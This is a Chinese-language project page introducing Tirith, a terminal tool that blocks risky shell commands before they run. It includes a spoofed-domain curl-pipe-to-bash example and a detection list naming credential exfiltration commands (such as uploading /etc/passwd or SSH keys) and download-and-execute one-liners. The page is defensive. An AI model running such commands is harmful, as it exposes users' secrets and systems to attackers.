跳到正文
发现
Tirith:终端命令安全防护
命令行工具开发者工具

Tirith:终端命令安全防护

面向开发者和 AI Agent 的终端安全工具,在命令执行前拦截同形字 URL、管道执行脚本等风险。

admin
发布于 2026-10-28
浏览
4
访问
0
下载
0
版本
v0.4.2
平台
Windows、macOS、Linux
该作品还没有经过官方审核。访问演示、下载或复制命令前,请自行确认来源可信。

详细介绍

项目简介

Tirith 是一个面向开发者和 AI Agent 的终端安全工具,用 Rust 编写。它把守在命令执行前的最后一道关口:在交互式 shell 中拦截将要执行的命令,同时也能扫描粘贴的文本与本地文件,检查同形字(homograph)URL、混淆载荷、凭据外泄、恶意 AI skill/配置,以及来自签名威胁情报库的已知恶意包、域名与 IP。

项目方的观察是:浏览器早已处理了 Unicode 与不可见字符伪装的钓鱼风险,但终端仍然会不加辨别地渲染 Unicode、ANSI 转义和不可见字符,AI Agent 更是直接执行 shell 命令、安装软件包而不检查内容。例如下面两行看起来几乎一样,但第二行的 і 是西里尔字母(U+0456)而非拉丁字母 i,会解析到攻击者服务器:

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

主要功能

内置 244 条检测规则、35 个类别,覆盖的主要场景包括:

  • 同形字攻击:主机名中的西里尔/希腊字母仿冒字符、punycode 域名、混合文字标签、相似 TLD、文本层的易混淆字符识别。
  • 终端注入与隐写:ANSI 转义序列、bidi 覆盖符、零宽字符、Unicode tags、不可见数学运算符、变体选择符、Hangul 填充符,以及基于不可见空白字符的文本隐写。
  • 管道执行与解码执行:curl | bash、wget | sh、python <(curl ...)、eval $(wget ...)、base64 -d | bash、powershell -EncodedCommand,包括经过 sudo/env 包装的间接链路。
  • 数据外泄与凭据:curl -d @/etc/passwd、curl -T ~/.ssh/id_rsa、wget --post-file、环境变量上传;AWS key、GitHub PAT、各类 token、私钥块及基于熵的通用密钥检测。
  • 代码文件扫描:JS/Python 文件中的混淆载荷(eval(atob(...)))、动态代码执行、通过 fetch/requests.post 外泄机密。
  • 配置与生态风险:配置注入、MCP server 安全(不安全/不受信/重复/权限过宽)、Git clone 错拼抢注、不可信 Docker registry、pip/npm URL 安装、安装命令中的签名校验禁用等。
  • 终端输出防护:OSC 52 剪贴板写入、伪造提示符、OSC 8 超链接与标题操纵、命令或 MCP 工具输出中的提示词注入,以及输出层的数据外泄。
  • 运维与持久化:对标记为生产的云/k8s 上下文执行破坏性命令、无对应 plan 的 terraform apply、危险的 sudo 提权、特权 docker run;shell rc、authorized_keys、crontab、LaunchAgents 等持久化据点。
  • Windows / PowerShell:Set-ExecutionPolicy Bypass、Defender 排除项、iex (iwr ...) 下载执行。

命中高风险命令时直接阻止执行,中风险给出警告并继续,普通命令完全静默、无任何输出。

安装与使用

通过 Homebrew 安装:

brew install tirith

然后在 shell 配置文件中启用(以 zsh 为例):

# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source

eval "$(tirith init)" 会自动探测当前 shell(检查父进程,必要时回退到 $SHELL),只有需要覆盖探测结果时才用 --shell 显式指定。

此外也可通过 npm、cargo、mise、apt/dnf 等渠道安装,具体见官方文档。

安装或升级后运行 tirith doctor 检查环境。扫描单个文件:

tirith scan evil_skill.py

如需对某条命令临时绕过,可在命令前加 TIRITH=0,仅对该条命令生效。

注意事项

Tirith 分析的是命令、粘贴文本和文件在执行前的结构,属于执行前的网关,而不是运行时防护,无法覆盖运行期才出现的攻击行为;被阻止时输出的提示会说明命中规则与风险等级。命令是否被拦截取决于所用 shell 与模式,建议把 hooks 视为辅助防线而非授权边界。安装后与升级后都应运行 tirith doctor 确认 hook 处于健康状态。项目采用 AGPL-3.0 许可证。


本作品整理自 GitHub 开源项目 sheeki03/tirith,原作者 @sheeki03,许可证 AGPL-3.0。中文介绍由 AI 根据项目 README 整理,以原仓库为准。

更新记录

  1. v0.4.2当前版本

    0.4 系列的一个可靠性与性能补丁:修复 shell 集成失败和普通命令误报,恢复 ThreatDB 的发布与重载,减少命令分析与诊断中的重复工作;并修正 NixOS/非 FHS 安装、npm 启动器、含空格路径的 loader 及 mise 下 doctor 的识别问题。

评论